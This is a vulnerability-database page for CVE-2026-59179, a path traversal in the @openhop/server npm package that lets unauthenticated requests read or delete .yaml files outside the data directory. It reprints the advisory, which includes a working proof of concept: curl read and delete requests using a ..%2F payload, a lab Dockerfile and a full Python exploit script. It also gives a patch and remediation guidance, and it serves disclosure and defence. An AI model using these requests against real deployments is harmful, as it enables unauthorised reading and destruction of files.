Skip to main content

Docker CVE-2026-59179

| EUVDEUVD-2026-112080 HIGH
Path Traversal (CWE-22)
2026-09-09 https://github.com/naorsabag/openhop GHSA-g72f-jw3w-mgh7
8.3
CVSS 3.1 · Vendor: https://github.com/naorsabag/openhop
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Path traversal in @openhop/server (npm, versions ≤0.3.5) allows unauthenticated remote attackers to read or permanently delete arbitrary .yaml files accessible to the OpenHop process outside its configured flow data directory. The root cause is that FlowStore.filePath() passes caller-supplied HTTP route parameters directly to Node.js path.join() without any sanitization or allowlist validation, and Fastify's underlying find-my-way router URL-decodes the parameter before it reaches application code, enabling ..%2F-encoded directory traversal. A fully functional PoC is publicly available with Docker-based reproduction steps; no KEV listing at time of analysis. Docker deployments expose the server on all interfaces by default, enabling direct network exploitation without user interaction.

Affected VersionsENISA

openhop < 0.3.7

Affected Packages

npm @openhop/server fix: 0.3.6
euvd openhop fix: 0.3.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/naorsabag/openhop) PRIMARY 8.3 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H

Primary rating from Vendor (https://github.com/naorsabag/openhop) · only source for this CVE.

CVSS VectorVendor: https://github.com/naorsabag/openhop

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

DescriptionCVE.org

Path Traversal in Flow ID File Operations

Summary

@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).

Details

FlowStore.filePath() in packages/server/src/store.ts:52-53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:

ts
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
  return join(this.dir, `${id}.yaml`)
}

This result is consumed by two sinks:

  • Read (packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8')
  • Delete (packages/server/src/store.ts:105): unlink(this.filePath(id))

The id value originates from unauthenticated Fastify HTTP route parameters:

  • GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333-335
  • DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539-541

The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.

Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.

Full data-flow (read path):

  1. HTTP GET /api/flows/..%2Fvictim received (routes.ts:306)
  2. find-my-way decodes ..%2Fvictim → req.params.id = '../victim' (routes.ts:333)
  3. store.get('../victim') → filePath('../victim') → join('/data/flows', '../victim.yaml') → /data/victim.yaml (store.ts:52-53)
  4. readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78)
  5. Server responds HTTP 200 with YAML-parsed JSON body

Full data-flow (delete path):

  1. HTTP DELETE /api/flows/..%2Fdelete-me received (routes.ts:509)
  2. find-my-way decodes ..%2Fdelete-me → req.params.id = '../delete-me' (routes.ts:539)
  3. store.delete('../delete-me') → filePath('../delete-me') → join('/data/flows', '../delete-me.yaml') → /data/delete-me.yaml (store.ts:52-53)
  4. unlink('/data/delete-me.yaml') removes the file (store.ts:105)
  5. Server responds HTTP 204

PoC

Environment setup (Docker):

bash
# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.

Attack 1 - Read file outside flow store:

bash
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'

Expected response:

http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}

Attack 2 - Delete file outside flow store:

bash
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'

Expected response:

http
HTTP/1.1 204 No Content

Verify deletion:

bash
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted

Automated PoC script:

bash
python3 poc.py 127.0.0.1 8799

Recommended fix:

diff
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
   private filePath(id: string): string {
+    if (!FLOW_ID_PATTERN.test(id)) {
+      throw new Error('Invalid flow id')
+    }
     return join(this.dir, `${id}.yaml`)
   }

Impact

This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).

Affected parties:

  • Users running openhop serve locally - exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799.
  • Docker/server deployments - HOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.

An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.

Reproduction artifacts

Dockerfile
dockerfile
# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
#   docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
#   docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
#   /data/flows/         <- OPENHOP_DATA_DIR (the configured flow store)
#   /data/victim.yaml    <- OUTSIDE the flow store (path traversal read target)
#   /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.

FROM node:22-alpine

WORKDIR /app
# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/
# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/
# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install
# Set up the data directory layout for the PoC.
#   /data/flows/       -> configured as OPENHOP_DATA_DIR (the "safe" directory)
#   /data/victim.yaml  -> outside the store; represents a sensitive file that
#                         MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
    printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: SECRET_OUTSIDE_FILE\n    description: This file lives outside the configured flow store directory\n  flow:\n    nodes:\n      - id: a\n        label: Sensitive Data\n' \
    > /data/victim.yaml && \
    printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: DELETE_TARGET_FILE\n  flow:\n    nodes:\n      - id: b\n        label: Delete Target\n' \
    > /data/delete-me.yaml
# Server listens on 8799 inside the container.
EXPOSE 8799
# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799
# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]
poc.py
python
#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 - CVSS 8.3 High

Vulnerability:
    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
        return join(this.dir, `${id}.yaml`)
    with no sanitization on `id`. The route GET /api/flows/:id passes
    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
    to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
    the URL is decoded to "../victim", causing path.join to escape the
    configured data directory.

Attack Vectors:
    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml
    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage:
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 8799
"""

import http.client
import json
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll until the OpenHop server returns any response on /api/flows."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at http://{host}:{port} ...")
    while time.time() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/api/flows")
            r = conn.getresponse()
            r.read()
            conn.close()
            print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
            return True
        except Exception:
            time.sleep(1)
    return False


def raw_http(method: str, host: str, port: int, path: str):
    """
    Send an HTTP request with the path exactly as given - no normalization.
    http.client does NOT percent-decode or normalize the path string, so
    '..%2F' reaches the server verbatim and Fastify's router decodes it.
    """
    conn = http.client.HTTPConnection(host, port, timeout=10)
    conn.request(method, path)
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, body


def main() -> int:
    print("=" * 62)
    print("VULN-001  Path Traversal in OpenHop Flow ID File Operations")
    print("=" * 62)
    print(f"[*] Target  : http://{HOST}:{PORT}")
    print(f"[*] Payload : ..%2F  (decoded by find-my-way to ../)")
    print(f"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)")
    print(f"[*] Outside : /data/victim.yaml  /data/delete-me.yaml")
    print()

    if not wait_for_server(HOST, PORT):
        print("[-] Server did not become ready within timeout. ABORT.")
        return 1

    print()
    passed_read = False
    passed_delete = False
# ── Attack 1: Read a file outside the configured flow store ─────────
    print("[*] Attack 1 - READ path traversal")
    print(f"    Request : GET {TRAVERSAL_GET_PATH}")
    print(f"    Decoded : id = ../victim")
    print(f"    Resolves: path.join('/data/flows', '../victim.yaml')")
    print(f"            = /data/victim.yaml  (outside flow store)")

    status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    print(f"    Body    : {body_text[:600]}")

    if status == 200:
        try:
            data = json.loads(body_text)
            title = data.get("meta", {}).get("title", "")
            if "SECRET_OUTSIDE_FILE" in title:
                print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
                print(f"       Leaked title field = {title!r}")
                passed_read = True
            else:
                print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
                print(f"       Full response: {data}")
# Still count as read-traversal success if we got a valid flow back
                if "meta" in data or "flow" in data:
                    print("[PASS] READ confirmed: path traversal returned a flow from outside store")
                    passed_read = True
        except json.JSONDecodeError:
            print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
    else:
        print(f"[FAIL] Expected HTTP 200, got {status}")

    print()
# ── Attack 2: Delete a file outside the configured flow store ────────
    print("[*] Attack 2 - DELETE path traversal")
    print(f"    Request : DELETE {TRAVERSAL_DELETE_PATH}")
    print(f"    Decoded : id = ../delete-me")
    print(f"    Resolves: path.join('/data/flows', '../delete-me.yaml')")
    print(f"            = /data/delete-me.yaml  (outside flow store)")

    status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    if body_text:
        print(f"    Body    : {body_text[:200]}")

    if status in (200, 204):
        print(f"[PASS] DELETE confirmed: HTTP {status} - /data/delete-me.yaml deleted outside store")
        passed_delete = True
    else:
        print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ─────────────────────────────────────────────────────────
    print()
    print("=" * 62)
    if passed_read and passed_delete:
        print("[RESULT] PASS - Both read and delete path traversal exploited")
        return 0
    elif passed_read:
        print("[RESULT] PARTIAL - Read traversal confirmed, delete did not succeed")
        return 1
    else:
        print("[RESULT] FAIL - Exploit did not succeed")
        return 2


if __name__ == "__main__":
    sys.exit(main())

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @openhop/server (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 0.3.6.

Technical POC Analysis

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

The @openhop/server npm package (versions ≤0.3.5) contains a path traversal vulnerability that allows unauthenticated remote attackers to read and delete arbitrary YAML files. Because Docker deployments expose this service on all network interfaces by default and publicly available exploit code exists, organizations using this package face immediate risk of configuration theft and operational disruption. Rapid patching and network isolation are critical to prevent unauthorized access to sensitive application configurations.

Recommended Action

Within 24 hours, scan your npm inventories and container registries to identify all instances of @openhop/server at versions ≤0.3.5; immediately implement firewall rules or network segmentation to restrict access to the service ports to only authorized users and systems, or take affected containers offline. Within 7 days, upgrade all affected deployments to the vendor-released patched version and test thoroughly in a staging environment before production rollout. Within 30 days, audit all OpenHop instances to ensure they are no longer exposed on public or untrusted networks, review YAML configuration files for any evidence of unauthorized access, rotate credentials stored in configuration, and implement runtime monitoring to detect abnormal file access attempts.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy